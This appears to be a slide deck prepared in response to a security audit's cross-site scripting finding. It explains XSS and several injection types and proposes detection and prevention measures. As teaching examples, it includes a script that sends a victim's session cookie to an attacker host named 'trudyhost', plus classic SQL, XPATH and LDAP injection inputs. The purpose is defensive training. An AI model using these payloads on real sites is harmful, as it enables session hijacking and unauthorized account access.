Web Vulnerability Audit - cross-site scripting (XSS)

Business Problem
● Independent security audit
● Regulatory compliance
● XSS issue raised
● Must provide a response

Audit Response
● Either: – Prove issue to be a non-problem or – Describe actions to take

Resolution Steps
● Investigate security concerns
● Restate as IT problem(s)
●Determine solution(s)
● Provide audit response
● Mitigate risk

Investigation
● Define cross-site scripting (XSS)
● Examine how auditors applied
● Identify risks
● Research preliminary solutions

cross-site scripting
Attacker goal: their code into browser
● XSS forces a website to execute malicious code in browser
● Browser user is the intended victim
● Why? Account hijjacking,, keystroke recording,, intranet hacking,, theft…

XSS types
● Immediate reflection : phishing
● DOM-based : 95 JavaScript methods
● Redirection : header,, meta,, dynamic
● Multimedia : Flash,, QT,, PDF scripts
Cross-Site Request Forgery (CSRF)
● others… – (e.g. non-persistent search box)

Risks
●XSS abuses render engines or plug-ins
● Steal browser cookies
● Steal session info for replay attack
● Malware or bot installation
● Redirect or phishing attempt

Actual risk
● Currently,, none..
● Edit box info viewed in thick client
● DHTML or JavaScript needs browser
● Our thick client is Java Swing-based

Planned Audit Response
Could indicate “no audit problem”
● Might have future impact Address through dev standards
● Consider application firewall Widen problem scope to include all user agent injection tactics

More on Web Attacks
● Cross Site Scripting
● SQL Injjection
● XPATH Injjection
● LDAP Injjection
● SSI (server side inclusion) Injection
● JSP (Java server pages) Injection

Artifacts
● For each injection issue:– Vulnerability description documented– Preventative coding technique Discuss with App Dev teams– Publish and socialize direction– Include in peer reviews/code walkthroughs– Set deadlines for ful incorporation
● Communicate with auditors

Cross Site Scripting
Example 1
● Trudy posts the folowing JavaScript on amessage board:<<script>d_o_c_u_m_e_n_t.location='http___://trudyhost/cgibin/stealcookie.cgi?'+document.cookie</SCRIPT> When Bob views the posted message, hisbrowser executes the malicious script, andhis session cookie is sent to Trudy

Cross Site Scripting
Example 2
● Trudy sends a link to the folowing URL to Bob thatwil take him to a personalized page: http://host/personalizedpage.php?username=
A page is returned that contains the maliciousscript instead of the username Bob, and Bob’sbrowser executes the script causing his sessioncookie to be sent to Trudy
● Hex is often used in place of ASCI for theJavaScript to make the URL less suspicious

Cross Site Scripting
Detection
● A client usually is not supposed to sendscripts to servers– If the server receives <script>… or thehex equivalent in an incoming packet andthat same script is sent unsanitized in anoutgoing packet or in an outgoing SQLstatement to the database, then an attackhas occurred
● A sanitized script could look like&ls;SCRIPT>…

SQL Injection Example
● Trudy accesses Bob’s website; in which he does notvalidate input on his sign in form– Runs a SQL statement like the folowing:– SELECT * from Accounts where username =“USER_NAME” and password = “USER_PASS”;
● In the password field, she types as her password:– X” OR “x”=“x
● Manipulates the server into running the folowing SQLcommand:– SELECT * from Accounts where username =“USER_NAME” and password=“X” OR “x”=“x”;– Selects al account information

SQL Injection Detection
● To detect and prevent this at Bob’’slocation– Log any trafic from Trudy to Bobcontaining form data containing aquotation mark– Match any outgoing SQL statements fromBob’s web server to his database serverand verify that the quotation marks Trudysupplied were escaped– If they weren’t, take action

XPATH Injection Example
● Similar to SQL injection
● Bob has a form that does not sanitize userprovidedinput before using it as part of anXPATH query::– string(//user[name/text()=’USER_NAME' andpassword/text()=’USER_PASS']/account/text())
● Trudy again can provide the folowingpassword to change the statement’s logic:– X’ OR ‘x’=‘x– The statement thus selects the first account

XPATH InjectionDetection
● Again,, our system can detect this bymatching any submission by Trudycontaining a quotation mark againstoutbound XPATH queries
● Correction can again be done byescaping any rogue quotation marksTrudy may have inserted Detection approach is blackbox
LDAP Injection Example
● Server using LDAP for authentication– User name initialized, but then usesunchecked user input to create a queryfilter = "(uid=" + CStr(userName) + ")" ''searching for the user entry
● Attacker can exploit using specialcharactershttp://examplle/lldapsearch..asp?user=*

LDAP Injection Detection
● Detection is based off of usage ofspecial LDAP characters– System monitors input for specialcharacters– Either scrubs incoming input or watchesfor unescaped output passed to databaseserver
● Detection approach is blackbox

SSI Injection Example
● Bob has his server configured to use Server-Side Includes
● Trudy passes input with an SSI embedded
● SSI inserts malicious code into normalwebpages upon next request
● Future legitimate users get contentcontaining the tainted code included by theSSI

SSI Injection Detection
● Bob’’s system needs SSI enabled,, so heuses our system on local servers– SSI code can be detected by its specificformat
● HTML comment () containing a command– SSI commands can be stripped on ingress– Can also deny outgoing packets that do notinclude SSI as inputted (means successfulexecution) Detection approach is blackbox

JSP Injection Example
● Similar to SSI injjection
● Bob has a portal server configured touse dynamic code for templates Trudy passes input with an embedded
● malicious code inserted into webpage

JSP Injection Prevention
● Prefer static include